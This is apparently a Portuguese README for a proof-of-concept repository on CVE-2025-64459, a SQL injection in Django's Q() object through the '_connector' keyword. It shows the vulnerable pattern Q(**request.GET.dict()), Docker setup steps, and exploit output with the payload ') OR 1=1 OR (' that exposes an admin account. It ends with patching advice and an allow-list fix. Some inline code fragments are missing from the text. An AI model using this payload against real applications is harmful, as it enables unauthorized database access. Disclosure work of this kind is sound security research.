
Vulnerabilidade: Injeção SQL via QuerySet e desempacotamento de argumento de palavra-chave Q(). CVE ID: CVE-2025-64459 Severidade: Crítica (CVSS 9.1) Versões Afetadas: Django 5.1 < 5.1.14, 4.2 < 4.2.26, e 5.2 < 5.2.8. Pesquisador: Cyberstan (Universidade de Warwick)
Vulnerabilidade: Injeção SQL via QuerySet e desempacotamento de argumentos de palavra‑chave de Q().
ID CVE: CVE-2025-64459
Descoberto por: Eu (Cyberstan)
Data de Divulgação: 5 de novembro de 2025
Este repositório contém uma Prova de Conceito (PoC) Dockerizada que demonstra uma vulnerabilidade crítica de Injeção SQL no ORM do Django.
A vulnerabilidade reside na forma como o objeto Q trata os argumentos de palavra‑chave durante a instanciação. Especificamente, o atributo interno _connector não é devidamente higienizado quando passado via desempacotamento de dicionário (por exemplo, ). Isso permite que um atacante remoto injete lógica SQL arbitrária na cláusula de uma consulta ao banco de dados, possibilitando , e .
Q(**user_input)WHEREA vulnerabilidade está em django.db.models.sql.where.WhereNode. O método as_sql, responsável por compilar a cláusula SQL WHERE, utiliza formatação de string insegura para inserir o conector da consulta (AND/OR).
Embora o conector normalmente assuma os valores "AND" ou "OR", o Django permite que ele seja substituído através do argumento de palavra‑chave _connector no construtor do objeto Q.
# Lógica vulnerável simplificada em django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# O atributo self.connector é injetado diretamente sem validação
conn = ' %s ' % self.connector
# ...
A vulnerabilidade é desencadeada quando os desenvolvedores usam desempacotamento de dicionário para construir filtros a partir de entrada do usuário – um padrão comum em APIs de busca.
Padrão de Código Vulnerável:
# O atacante controla as chaves e valores de 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- PONTO VULNERÁVEL
results = User.objects.filter(query)
Se um atacante incluir _connector como chave em sua entrada, poderá manipular a estrutura SQL.
Esta PoC utiliza Docker para garantir um ambiente consistente e isolado contendo a versão vulnerável do Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Execute o comando a seguir para construir o ambiente e executar o script de ataque:
docker-compose up --build
O contêiner executará um script Python (poc.py) que simula um endpoint de aplicação vulnerável.
alice (padrão) e root (admin)._connector.Saída de Exploit Bem‑Sucedido:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCESSO: Filtro bypassado via desempacotamento de dicionário! Usuário admin exposto.
Atualize o Django para a versão de segurança mais recente imediatamente.
pip install Django==5.1.14 (ou versão correspondente)A correção introduz validação rigorosa em WhereNode, garantindo que o connector seja sempre igual a AND ou OR.
Se não for possível atualizar imediatamente, audite sua base de código para usos de Q(**kwargs) ou filter(**kwargs). Certifique‑se de que o dicionário passado a esses métodos nunca contenha chaves brutas controladas pelo usuário.
Padrão Seguro:
# Explicitamente autorizar campos permitidos
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Agora é seguro desempacotar
User.objects.filter(**clean_filters)
Este repositório é apenas para fins educacionais e de pesquisa em segurança.
O código fornecido cria um ambiente vulnerável para demonstrar uma falha de segurança específica. Nunca deve ser executado em ambiente de produção. O autor (Cyberstan) não se responsabiliza pelo uso indevido desta informação. Testar este exploit contra sistemas sem autorização explícita é ilegal.